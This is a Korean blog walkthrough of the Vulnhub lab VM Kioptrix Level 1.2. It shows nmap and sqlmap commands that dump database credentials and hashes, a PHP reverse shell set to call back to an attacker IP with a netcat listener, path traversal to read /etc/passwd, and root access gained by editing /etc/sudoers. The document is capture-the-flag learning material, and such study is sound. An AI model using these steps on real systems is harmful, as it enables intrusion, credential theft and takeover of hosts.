Vulnhub

[Vulnhub] Kioptrix_Level_1.2(#3) Walkthrough

jeff_kim 2024. 6. 18. 19:28

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

 

Kioptrix: Level 1.2 (#3)

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

이번 실습 VM의 특이사항이라면 /etc/hosts에 실습 VM의 IP를 넣어줘야한다는 점이 있습니다.

sudo vi /etc/hosts

#추가
192.168.45.193	kioptrix3.com

이와 같이 hosts에 추가를 해주고 실습을 진행하시면 됩니다.

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for kioptrix3.com (192.168.45.193)
Host is up (0.00034s latency).
MAC Address: 08:00:27:82:F9:F3 (Oracle VirtualBox virtual NIC)
...

/etc/hosts에 설정을 해주었다면 위 와 같이 뜰 것입니다.

 

Nmap을 이용한 포트스캐닝 및 서비스 배너그래빙 확인

# 전체 포트 스캐닝
└─$ nmap -p- --max-retries 2 --min-rate 1000 -Pn -n --open 192.168.45.193 -oA tcpAll
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 17:05 KST
Nmap scan report for 192.168.45.193
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 5.19 seconds

# 디테일한 정보 수집
└─$ nmap -p 22,80 --max-retries 2 --min-rate 1500 -sV -sC -Pn -n --open 192.168.45.193 -oA tcpDetailed 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 17:06 KST
Nmap scan report for 192.168.45.193
Host is up (0.0050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

22 - openssh 4.7p1

80 - apache httpd 2.2.8

 

이번 대상 호스트는 웹서버만 운영중인 것으로 확인된다.

 

WEB(80)

대상 호스트에서 운영중인 웹 사이트이다. 게시글을 보아하니 블로그 형식의 웹사이트 같은데, gallery CMS를 이용해서 만들었다...라는 정보를 알려주었다.

blog를 눌렀을때의 화면이다. /gallery 라는 페이지에 대해서 나온다. 다양한 페이지가 있을 것으로 예상하여 gobuster 툴을 이용하여 디렉터리 브루트포싱을 실시하고, 웹 취약점을 파악하기 위해 nikto를 이용해서 잠재적 취약점 까지 파악한다.

nikto

대상 호스트에서 운영중인 데이터베이스는 MySQL 인것을 확인했다.

 

gobuster

다양한 디렉터리 들이 눈에 띄는데 우선 대상 호스트에서 운영중인 /gallery 그리고 관리자 패널인 /phpmyadmin 등등 획득할 정보들이 많은 것으로 판단된다.

 

/gallery

업로드되어있는 사진이 있다. 페이지 소스를 확인한다.

 

 

gadmin이라는 경로에 하이퍼링크와 함께 Admin이라고 쓰여져있다.

관리자만 들어올 수 있는 무언가 발견되었다. 그렇다면 gadmin에서 나와있는 저 gallarific의 취약점이 무엇인지 찾기 위해서 searchsploit 툴을 이용하여 취약점 진단을 실시한다

 

취약점 진단

└─$ searchsploit gallarific 
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gallarific - 'search.php?query' Cross-Site Scripting                                                                       | php/webapps/31369.txt
Gallarific - 'user.php' Arbirary Change Admin Information                                                                  | php/webapps/8796.html
Gallarific - Multiple Script Direct Request Authentication Bypass                                                          | php/webapps/31370.txt
Gallarific 1.1 - '/gallery.php' Arbitrary Delete/Edit Category                                                             | php/webapps/9421.txt
GALLARIFIC PHP Photo Gallery Script - 'gallery.php' SQL Injection                                                          | php/webapps/15891.txt
--------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

SQL Injection, XSS 등등 다양한 취약점이 뜨는데 SQL Injection을 이용하여 익스플로잇을 해본다

gallery.php에서 SQL Injection 취약점을 이용하는 방법에 대한 텍스트 파일이다.

 

익스플로잇

SQL Injection이 취약한지 먼저 테스트한다.

 

gallery.php?id=1을 삽입 했는데도 이전의 화면과 동일한 화면이 뜨는 것이 보니 SQL Injection에 취약하다고 판단 에러메시지가 발생하는 경로가 있는지 체크하던 중 /gallery/gallery.php?id=1" 을 했을 때 에러메시지가 보이는 것을 확인했다

 

 

sqlmap 툴을 이용해 SQL Injection 공격을 실시한다.

 

sqlmap

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 --dbs --dbms=MySQL
...
available databases [3]:                                                                                                                                     
[*] gallery                                                                                                                                                  
[*] information_schema                                                                                                                                       
[*] mysql 
...

3개의 스키마가 생성되어있는 것을 확인 gallery의 테이블에 대한 정보를 파악한다

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 -D gallery --tables
...
Database: gallery                                                                                                                                            
[7 tables]                                                                                                                                                   
+----------------------+
| dev_accounts         |                                                      
| gallarific_comments  |                                                      
| gallarific_galleries |                                                      
| gallarific_photos    |             
| gallarific_settings  |                                                                                                                                     
| gallarific_stats     |                                                      
| gallarific_users     |                                                      
+----------------------+  
...

7개의 테이블이 있다 유저 정보를 파악해서 관리자 계정으로 로그인해야하니 gallerific_users 테이블에 대한 칼럼 정보를 파악한다.

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 -D gallery -T gallarific_users --columns
...
Database: gallery                                                                                                                                            
Table: gallarific_users                                                       
[12 columns]                                                                                                                                                 
+-------------+--------------------------------+                                                                                                             
| Column      | Type                           |                                                                                                             
+-------------+--------------------------------+                              
| datejoined  | int(11)                        |                              
| email       | varchar(255)                   |                              
| firstname   | varchar(100)                   |                              
| issuperuser | tinyint(4)                     |                                                                                                             
| joincode    | varchar(20)                    |                              
| lastname    | varchar(100)                   |                              
| password    | varchar(100)                   |                              
| photo       | varchar(100)                   |                              
| userid      | int(11)                        |                              
| username    | varchar(100)                   |                              
| usertype    | enum('superuser','normaluser') |          
| website     | varchar(255)                   |                                                                                                             
+-------------+--------------------------------+
...

 

여기서 확인해야할것 username과 password 이다.

└─$ sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1 -D gallery -T gallarific_users -C username,password -dump
...
Database: gallery                                                             
Table: gallarific_users                                                       
[1 entry]                                                                     
+----------+----------+                                                       
| username | password |                                                       
+----------+----------+                                                       
| admin    | n0t7t1k4 |                                                       
+----------+----------+  
...

대상 호스트에 대한 데이터베이스 gallery에 대한 정보를 모두 덤프했고, 웹 사이트 관리자의 계정 뿐만아니라 dev_accounts 에 대한 해시화된 패스워드 및 계정정보도 파악을 했다.

Database: gallery                                                             
Table: dev_accounts                                                                                                                                          
[2 entries]                                                                   
+----+----------------------------------+------------+                                                                                                       
| id | password                         | username   |                                                                                                       
+----+----------------------------------+------------+                                                                                                       
| 1  | 0d3eccfb887aabd50f243b3f155c0f85 | dreg       |
| 2  | 5badcaf789d3d1d09794d8f021f40f0e | loneferret |                                                                                                       
+----+----------------------------------+------------+

SQL Injeciton 공격으로 대상 호스트가 운영중인 웹사이트에 관리자 계정으로 로그인하였다.

 

File Upload

이후 파일을 업로드 할 수 있다는 것을 확인했고, php-reverse-shell.php 를 이용해 리버스쉘을 획득한다. 하지만 사진을 업로드하는 것이기 때문에 .php는 인식을 하지 않을 것이고, 확장자를 .jpg 잘 실행될 수 있도록 해준다

└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

vi php-reverse-shell.php
...

$ip = '192.168.45.219';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

...

└─$ mv php-reverse-shell.php rev.jpg


# 리버스쉘 리스닝
└─$ nc -nlvp 1234           
listening on [any] 1234 ...

공격자의 IP와 포트번호를 넣고 파일을 업로드 시킨후에 파일을 실행시키기전 nc 명령어를 통해 리버스쉘 리스닝을 준비한다.

업로드된 파일을 /gadmin  경로에서 여는 것이 아닌 실제 대상 호스트의 파일 경로를 찾아야한다.

경로 순회를 할 수 있는 엔드포인트를 찾아 경로 순회를 하고 %00.html를 붙여서 /etc/passwd 파일을 실행 시켜 웹 사이트에 출력 시켰다. 그리고 에러메시지에서 알 수 있는 한가지 대상 호스트가 운영하는 웹사이트의 절대 경로를 확인 가능하다

/home/www/kioptrix3.com 그렇다면 경로와 파일이 업로드 되었을 때 랜덤으로 파일 이름이 변경되는 것을 파악하여 직접 경로로 들어가 우회를 하는 방법을 이용하면?

주소창에 이렇게 입력을 해준다. 사진에 대한 경로를 확인하는 것은 업로드된 파일에서 view를 눌러서 확인 가능하다

대상 호스트 초기 침투 완료

 

 

후속 정보 수집 

이전 데이터베이스에서 획득한 dev_account에서 획득한 유저의 계정정보를 hash-identifier 를 이용해 해시화된 알고리즘을 파악하고 johntheripper 툴을 이용하여 해시화된 비밀번호를 평무화된 비밀번호로 변환한다.

└─$ hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 0d3eccfb887aabd50f243b3f155c0f85
                                       
Possible Hashs:          
[+] MD5                       
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

HASH: 5badcaf789d3d1d09794d8f021f40f0e
                                       
Possible Hashs:          
[+] MD5                       
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

johntheripper 툴을 이용하여 해시화

 

권한 상승

su 명령어를 이용하여 두 계정에 접속해 sudo -l을 통해서 비밀번호 없이 사용가능한 명령어가 어떤 것이 있는지 확인한다

# dreg
dreg@Kioptrix3:/home$ sudo -l
sudo -l
[sudo] password for dreg: Mast3r

Sorry, user dreg may not run sudo on Kioptrix3.

# loneferret
loneferret@Kioptrix3:/home$ sudo -l
sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

sudo ht를 이용해 비밀번호 없이 명령어 실행시킨다.

loneferret@Kioptrix3:/$ sudo ht        
Error opening terminal: unknown.

위와 같은 에러가 발생한다면 export TERM=xtrem 를 한번 입력해주고 다시 sudo ht를 실행

이런 터미널 화면이 뜨면 F3을 눌러서 파일을 검색하여 수정을 할 수 있는데 가장 빠르고 쉽게 권한을 얻을 수 있는 방법은

/etc/sudoers 를 수정하는 것이라고 생각했다.

이렇게 수정해준 후 F2를 눌러 저장, 

[1]+  Stopped                 sudo ht
loneferret@Kioptrix3:/$ sudo -l
[sudo] password for loneferret: 
User loneferret may run the following commands on this host:
    (ALL) ALL
loneferret@Kioptrix3:/$

/etc/sudoers가 ALL 로 바뀌었다면 자유로이 명령어 사용이 가능하다는 것이다.

root@Kioptrix3:/# id; hostname; ip a
uid=0(root) gid=0(root) groups=0(root)
Kioptrix3
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:82:f9:f3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.45.193/24 brd 192.168.45.255 scope global eth1
    inet6 fe80::a00:27ff:fe82:f9f3/64 scope link 
       valid_lft forever preferred_lft forever